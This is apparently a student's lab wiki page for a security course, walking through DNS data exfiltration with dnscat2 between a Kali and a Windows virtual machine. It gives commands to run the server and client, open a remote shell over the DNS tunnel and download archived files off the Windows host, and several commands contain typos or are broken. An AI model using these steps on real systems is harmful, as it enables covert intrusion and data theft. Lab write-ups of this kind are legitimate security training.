DNS Exfiltration Trouble Shooting - sophialevasseur/SEC-335 GitHub Wiki

Task 4

🌹DNS🌹

⚡How do attackers use DNS data exfiltration?⚡

  • DNS data exfiltration is a method used by hackers to extract data by exploiting the Domain Name Service (DNS). They do this by removing confidential data and embedding it inside a DNS packet. DNS packets for the most part don't trigger firewalls so it can easily leave the organizations networks through these DNS packets.

⚡Setting up DNScat2 on Kali and Windows⚡

  • KALI VM: Download DNScat2 with the following command:
    • sudo apt install dnscat2
image
  • KALI VM: Start the DNScat2 Server. Keep a note of the secret key it generates because you will need it for the client server.
    • sudo dnscat2-server
image
  • Windows VM: Download DNScat2 using PowerShell and the following command:
    • Invoke-WebRequest -Uri "https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip" -OutFile "C:\temp\dnscat2.zip"
image
  • Windows VM: Run dnscat2 on Windows:
    • dnscat2.exe --secret=<your_secret_key> 10.0.17.49
    • My command here did not work.
image

Troubleshooting🔨

  • Windows dns2cat was corrupt so we are going to use the docker version:

  • KALI VM:

    • sudo apt update
    • sudo apt install docker.io
    • sudo docker run --rm -ti --privileged -p 53:53/udp -e DOMAIN_NAME="your_domain_name" --name dnscat2 arno0x0x/dnscat2

  • Note your secret key and save it to a file on Kali named key.txt

    • echo <secret key> key.txt

  • Start up your listener on kali

    • python3 -m 8000

  • Curl the file to your windows machine:

    • curl http://10.0.17.xx:8000/key.txt

  • KALI VM: View sessions and interact with session 1:

    • sessions
    • session -i 1

⚡Exfiltrating the File via DNS⚡

  • KALI VM: Open a DNS tunnel to the windows machine:

    • shell

  • KALI VM: Since they were already archived, all we have to do is exfiltrate them over:

    • download C:\temp\archives\enum_out.tar.gz /tmp/

  • Steps if they weren't archived already:

  • KALI VM: Now that we are in our Windows box, exfiltrate one of the archive files:

    • Compress-Archive C:\temp\archives\* C:\temp\archives\exfil.zip

  • KALI VM: download the

    • download C:\temp\archives\exfil.zip /tmpvh
⚠️ **GitHub.com Fallback** ⚠️